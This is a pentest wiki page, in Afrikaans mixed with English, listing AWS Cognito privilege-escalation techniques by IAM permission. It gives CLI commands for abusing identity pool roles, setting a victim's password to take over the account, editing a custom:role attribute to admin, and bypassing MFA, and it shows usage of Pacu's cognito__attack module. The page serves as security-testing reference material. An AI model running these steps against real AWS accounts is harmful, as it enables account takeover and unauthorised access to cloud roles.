# AWS - Cognito Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Cognito

Vir meer inligting oor Cognito sien:

{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}

### Insameling van credentials vanaf Identity Pool

Aangesien Cognito **IAM role credentials** aan beide **authenticated** en **unauthenticated** **users** kan toeken, as jy die **Identity Pool ID** van 'n toepassing vind (dit behoort hardcoded daarin te wees) kan jy nuwe credentials verkry en gevolglik privesc (binne 'n AWS rekening waar jy waarskynlik vroeër glad nie enige credential gehad het nie).

Vir meer inligting [**sien hierdie bladsy**](../../aws-unauthenticated-enum-access/index.html#cognito).

**Potential Impact:** Direkte privesc na die services role wat aan unauth users gekoppel is (en waarskynlik aan die een wat aan auth users gekoppel is).

### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`

Met hierdie toestemming kan jy **grant any cognito role** aan die authenticated/unauthenticated users van die cognito app.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
As die cognito-app **nie ongeauthentikeerde gebruikers aangeskakel het nie**, mag jy ook die toestemming `cognito-identity:UpdateIdentityPool` nodig hê om dit aan te skakel.

**Potensiële impak:** Direkte privesc na enige cognito-rol.

### `cognito-identity:update-identity-pool`

'n aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer opstel of enige ander identity provider waarby hy kan aanmeld as 'n **manier om toegang tot hierdie Cognito Identity Pool te kry**. Daarna sal net om op daardie identity provider **aan te meld** hom **toelaat om toegang te kry tot die gekonfigureerde authenticated role in die Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
Dit is ook moontlik om hierdie toestemming te **misbruik om basic auth toe te laat**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potensiële impak**: Kompromiseer die gekonfigureerde geauthentiseerde IAM-rol binne die identity pool.

### `cognito-idp:AdminAddUserToGroup`

Hierdie toestemming maak dit moontlik om **'n Cognito user by 'n Cognito group te voeg**, daarom kan 'n attacker hierdie toestemming misbruik om 'n Cognito user onder sy beheer by ander groepe met **beter** voorregte of **verskillende IAM-rolle** te voeg:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Potensiële impak:** Privesc na ander Cognito groups en IAM roles wat aan User Pool Groups gekoppel is.

### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`

'n aanvaller met hierdie toestemmings kan **skep/opdateer groepe** met **elke IAM role wat deur 'n gekompromitteerde Cognito Identity Provider gebruik kan word** en 'n gekompromitteerde gebruiker deel van die groep maak, sodat hy/sy toegang tot al daardie rolle kry:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Potensiële impak:** Privesc to other Cognito IAM roles.

### `cognito-idp:AdminConfirmSignUp`

Hierdie toestemming laat toe om **'n aanmelding te verifieer**. Standaard kan enigiemand by Cognito-toepassings aanmeld; as dit so gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potensiële impak:** Indirekte privesc na die identity pool IAM role for authenticated users as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige rekening te bevestig.

### `cognito-idp:AdminCreateUser`

Hierdie toestemming sou 'n aanvaller toelaat om 'n nuwe gebruiker in die user pool te skep. Die nuwe gebruiker word geskep as geaktiveer, maar sal sy wagwoord moet verander.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
```
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat enige gebruiker kan skep

### `cognito-idp:AdminEnableUser`

Hierdie permissie kan help in 'n baie randgevalscenario waar 'n aanvaller die inlogbesonderhede van 'n gedeaktiveerde gebruiker gevind het en hy dit weer moet **aktiveer**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Potensiële impak:** Indirekte privesc na die identity pool IAM role vir geauthentiseerde gebruikers en die toestemmings van die gebruiker indien die aanvaller inlogbewyse vir 'n gedeaktiveerde gebruiker gehad het.

### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**

Hierdie toestemming laat toe om aan te meld met die [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.

### `cognito-idp:AdminSetUserPassword`

Hierdie toestemming sou 'n aanvaller in staat stel om **'n bekende wagwoord vir enige gebruiker te stel**, wat gewoonlik lei tot **'n direkte rekeningoorname** (veral as die slagoffer nie MFA geaktiveer het nie, of MFA nie afgedwing word vir die relevante auth flow/client nie).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
```
Algemene werkstroom:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Verwante permission: `cognito-idp:AdminResetUserPassword` kan gebruik word om 'n reset flow vir 'n victim af te dwing (impak hang af van hoe password recovery geïmplementeer is en wat die attacker kan onderskep of beheer).

**Potensiële impak:** Account takeover of arbitrary users; toegang tot app-layer privileges (groups/roles/claims) en enigiets downstream wat Cognito tokens vertrou; potensiële toegang tot Identity Pool authenticated IAM roles.

### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`

**AdminSetUserSettings**: 'n attacker kan moontlik hierdie permission misbruik om 'n mobiele telefoon onder sy beheer as **SMS MFA vir 'n user** te stel.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Soortgelyk aan die vorige, kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n gebruiker te stel en sodoende die MFA-beskerming te bypass.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: Soortgelyk aan die vorige kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n user pool te stel om die MFA-beskerming te bypass.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** Dit is ook moontlik om die user pool by te werk om die MFA-beleid te verander. [Kyk na die CLI hier](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).

**Potensiële impak:** Indirekte privesc na potensieel enige gebruiker waarvan die aanvaller die inlogbewyse ken; dit kan toelaat om die MFA-beskerming te omseil.

### `cognito-idp:AdminUpdateUserAttributes`

'n Aanvaller met hierdie toestemming kan **enige veranderlike attribuut** van 'n User Pool-gebruiker (insluitend `custom:*` attribuutte) verander om te probeer om bevoegdhede in 'n onderliggende toepassing te verkry.

'n Algemene hoë-impak patroon is **claim-based RBAC** geïmplementeer deur gebruik van **custom attributes** (byvoorbeeld `custom:role=admin`). As die toepassing daardie claim vertrou, kan deur dit op te dateer en dan opnuut te verifieer autorisasie omseil word sonder om die app aan te raak.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
Voorbeeld: opgradeer jou eie role en refresh tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Potensiële impak:** Indirekte privesc in toepassings wat op Cognito-eienskappe/claims staatmaak vir autorisasie; vermoë om ander veiligheid-belangrike eienskappe te wysig (byvoorbeeld om `email_verified` of `phone_number_verified` op `true` te stel kan in sommige apps saak maak).

### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`

'n aanvaller met hierdie permisie kan **'n nuwe User Pool Client skep wat minder beperk is** as reeds bestaande pool-clients. Byvoorbeeld, die nuwe client kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token intrekking gedeaktiveer hê, of toelaat dat tokens vir 'n langer tydperk geldig is...

Dieselfde kan gebeur as, in plaas daarvan om 'n nuwe client te skep, 'n **bestaande een gewysig** word.

In die [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien — kyk dit na!.
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Potential Impact:** Potensiële indirekte privesc vir die gemagtigde gebruiker van die Identity Pool wat deur die User Pool gebruik word deur 'n nuwe client te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir 'n aanvaller om in te log met 'n gebruiker wat hy geskep het.

### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`

'n aanvaller kan hierdie permissie misbruik om gebruikers te skep deur 'n CSV met nuwe gebruikers op te laai.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(In die geval waar jy 'n nuwe import job skep, mag jy ook die iam passrole permission benodig; ek het dit nog nie getoets nie).

**Potensiële impak:** Direkte privesc na die identiteitspool IAM-rol vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep.

### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`

'n aanvaller kan 'n nuwe identiteitsverskaffer skep om dan **deur hierdie verskaffer aan te meld**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksies wat in staat is om enige gebruiker te skep.

### cognito-sync:* Ontleding

Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identity Pools. Selfs al lyk 'n wildcard in 'n permissie altyd sleg (veral as dit van AWS kom), is die **gegewe toestemmings nie besonder nuttig vanuit 'n aanvaller se perspektief nie**.

Hierdie toestemming laat toe om gebruiksinligting van Identity Pools en Identity IDs binne Identity Pools te lees (wat nie sensitiewe info is nie).\
Identity IDs mag [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) aan hulle toegewys hê, wat inligting oor sessies is (AWS beskryf dit soos 'n **saved game**). Dit is moontlik dat dit sekere vorme van sensitiewe inligting kan bevat (maar die waarskynlikheid is redelik laag). Jy kan op die [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) vind hoe om toegang tot hierdie inligting te kry.

'n Aanvaller kan hierdie toestemmings ook gebruik om homself te **inskryf by 'n Cognito-stream wat veranderinge op hierdie datases publiseer** of by 'n **lambda wat op cognito events trigger**. Ek het nie gesien dat dit gebruik word nie, en ek sou hier nie sensitiewe inligting verwag nie, maar dit is nie onmoontlik nie.

### Outomatiese Gereedskap

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sluit nou die "cognito__enum" en "cognito__attack" modules in wat die enumerasie van alle Cognito-bates in 'n account outomatiseer en swak konfigurasies, gebruikersattribuutte wat vir toegangbeheer gebruik word, ens. uitlig, en ook gebruikersskepping outomatiseer (insluitend MFA-ondersteuning) en privilege escalation gebaseer op aanpasbare custom attributes, bruikbare identity pool credentials, assumable rolle in id tokens, ens.

Vir 'n beskrywing van die modules se funksies sien deel 2 van die [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies sien die hoofbladsy van die [Pacu](https://github.com/RhinoSecurityLabs/pacu) projek.

#### Gebruik

Voorbeeld van cognito__attack gebruik om gebruikersskepping te probeer en alle privesc-vektore teen 'n gegewe identity pool en user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Voorbeeldgebruik van cognito__enum om alle user pools, user pool clients, identity pools, users, ens. wat in die huidige AWS-rekening sigbaar is, te versamel:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI tool in python wat verskillende attacks op Cognito implementeer, insluitend 'n privesc escalation.

#### Installasie
```bash
$ pip install cognito-scanner
```
#### Gebruik
```bash
$ cognito-scanner --help
```
Vir meer inligting besoek [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)

{{#include ../../../../banners/hacktricks-training.md}}
